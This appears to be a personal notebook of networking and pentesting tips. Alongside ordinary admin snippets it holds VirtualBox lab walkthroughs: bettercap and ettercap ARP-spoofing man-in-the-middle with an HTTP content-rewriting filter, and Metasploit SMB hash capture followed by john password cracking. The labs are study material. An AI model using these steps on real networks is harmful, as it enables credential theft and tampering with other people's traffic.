list all ips in a range, genip

> genip 10.0.0.1-10

10.0.0.1
10.0.0.2
10.0.0.3
10.0.0.4
10.0.0.5
10.0.0.6
10.0.0.7
10.0.0.8
10.0.0.9
10.0.0.10

openvpn error, write to TUN/TAP: Input/output error (code=5)

if getting error: write to TUN/TAP: Input/output error (code=5)

type

> dhclient tap0     

then try again

this enabled dhcp on the tap0 interface

bettercap missing local to local traffic

issue i ran into

had 3 virtualbox vms
1.) linux running python SimpleHTTPServer, simulates a website, network set to "internal network"
2.) windows accessing the linux website in #1 above, simulates the victim, network set to "internal network"
3.) kali running bettercap, arp.spoof.targets = linux server #1 above and windows #2 above, will do MiTM (man-in-the-middle) against the 2 systems above, network set to "internal network"

Issue I ran into is that with ettercap (no 'b') it worked great, I could see the traffic going from windows box to linux web server ... BUT with bettercap the arp spoof seemed to work but the traffic was nowhere to be found when using tools like "net.sniff" or "https.proxy" on bettercap.

Root Cause:
    By default ettercap (no 'b') captures all traffic (local & external)
    By default bettercap only captures external traffic & ignores local to local traffic

Fix:
    set arp.spoof.internal true
    set net.sniff.local true

The enables capture of internal traffic and now I started seeing it!

metasploit smb capture password hashes

create 2 vms in virtualbox

1.) kali linux ATTACKER
      will be used to run ettercap and perform man-in-the-middle
2.) windows VICTIM
       will be the victim trying to access the web server


steps
-------
1.) setup both virtualbox Network tab to use "Internal Network" and the same name
2.) power up both
3.) windows will already have an ip address such as 169.254.18.1
4.) configure kali linux ATTACKER to similar ip address as windows
       ifconfig eth0 169.254.18.2 netmask 255.255.0.0 up
5.) ping each other from within each virtual machine to ensure connectivity
6.) on kali linux ATTACKER system start the metasploit smb capture module

> msfconsole
msf> use auxillary/server/capture/smb
msf> set CAINPWFILE /tmp/cain.pw1
msf> set JOHNPWFILE /tmp/john.txt
exploit

7.) on windows VICTIM system open windows explorer and try to connect to the attacker box
        \\169.254.18.2\
      windows will popup an authentication prompt, enter a user & password  (e.g. guy, password)

8.) on kali linux ATTACKER system metasploit should inform you it captured a hash and saved it to \tmp\john.txt 
     type exit to exit metasploit
     run john against the newly captured file
       > john /tmp/john.txt_netntlmv2 --wordlist /usr/share/wordlists/rockyou.txt

     if it's a weak password (like 'password') john should crack it quickly and display it to you on the screen

compare dhcp leases to active directory pcs

python script

# 1st get a list of all dhcp leased unique hostnames (from dhcp logs) and put into dhcp.csv
# 2nd get a list of all active directory computers and save it in ad.csv by running this powershell
#               Get-ADComputer -Filter * |select name > ad.csv
# then run this python to compare and find the potentially rogue devices
adFile = r'ad.csv'
dhcpFile = r'dhcp.csv'
noADfile = r'notInAD.csv'
with open(dhcpFile, 'r') as dhcpFileHandle, open(noADfile, 'w') as notInADHandle:
 notInADCount = 0
 searchedCount = 0
 for dhcpHost in dhcpFileHandle:
  foundIt = 0
  with open(adFile, 'r') as adFileHandle:
   for adHost in adFileHandle: 
    adHost = adHost.lower().strip()
    dhcpHost = dhcpHost.lower().strip()
    if dhcpHost == adHost:
     foundIt = 1
     break
  searchedCount = searchedCount + 1
  if foundIt == 0:
   print(dhcpHost, end='', file=notInADHandle)
   notInADCount = notInADCount + 1
   print("%s not in Active Directory, Searched %s DHCP Leases" % (str(notInADCount), str(searchedCount)))

ettercap http replace man-in-the-middle full example

create 3 vms in virtualbox

1.) kali linux ATTACKER
      will be used to run ettercap and perform man-in-the-middle
2.) kali linux WEB SERVER
       will be hosting the website the victim wants to access
3.) windows VICTIM
       will be the victim trying to access the web server


steps
-------
1.) setup all 3 virtualbox Network tab to use "Internal Network" and the same name
2.) power up all 3
3.) windows will already have an ip address such as 169.254.18.1
4.) configure kali linux WEB SERVER to similar ip address as windows
       ifconfig eth0 169.254.18.2 netmask 255.255.0.0 up
5.) configure kali linux ATTACKER to similar ip address as windows
       ifconfig eth0 169.254.18.3 netmask 255.255.0.0 up
6.) ping each other system from within each virtual machine to ensure connectivity
7.) on kali linux WEB SERVER create an index.html file that simply says "hello world this is fun exciting stuff"
      then launch python simple http server on port 8001
             python -m SimpleHTTPServer 8001
8.) on windows VICTIM open microsoft edge and navigate to website
       http://169.254.18.2:8001/
     you will see the text
        "this is fun"

             

9.) on kali linux ATTACKER
      create an ettercap filter file with a text editor with this content and save as "fun.filter"
          if (ip.proto == TCP) {
           if (tcp.dst == 8001 || tcp.src == 8001) {
             if (search(DATA.data, "Accept-Encoding")) {
              replace("Accept-Encoding", "Accept-Nothing!");
              msg("removed encoding");
            }
            if (search(DATA.data, "fun")) {
             replace("fun", "evil");
             msg("fun is now evil");
            }
           }
          }
   
     NOTE: above the accept-encoding removal is important otherwise the html is gzip encoded and not clear text so your replace won't work and the src/dst port is important so you catch request and response

     next compile the filter
         etterfilter fun.filter -o fun.ef
     next run ettercap using the filter and arp spoofing
         ettercap -tq -M arp:remote -F fun.ef /169.254.18.1-3// /169.254.18.1-3//
10.) on windows VICTIM
       reload the website
         http://169.254.18.2:8001/
       you will now see the text
         "this is evil"

11.) on kali linux ATTACKER hit the "q" key to remove the arp poisoning and exit

update datetime on linux

# ntpdate 2.us.pool.ntp.org

syncs with internet time